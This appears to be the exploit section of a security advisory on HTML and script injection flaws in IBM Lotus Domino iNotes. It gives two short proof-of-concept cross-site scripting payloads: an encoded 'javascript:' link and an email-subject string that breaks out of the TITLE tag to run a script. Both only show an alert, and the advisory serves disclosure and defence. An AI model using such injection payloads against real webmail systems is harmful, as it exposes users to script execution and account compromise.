• info
• discussion
• exploit
• solution
• references

IBM Lotus Domino iNotes Multiple HTML and Script Injection Vulnerabilities



An exploit is not required.

A proof of concept example for the issue exploited through a 'javascript:' URI is available:

<a href="java&#13;script:alert('Vulnerable!');">Link</a>

Proof of concept for the email subject field script injection:

</TITLE><SCRIPT>alert("Vulnerable!");</SCRIPT>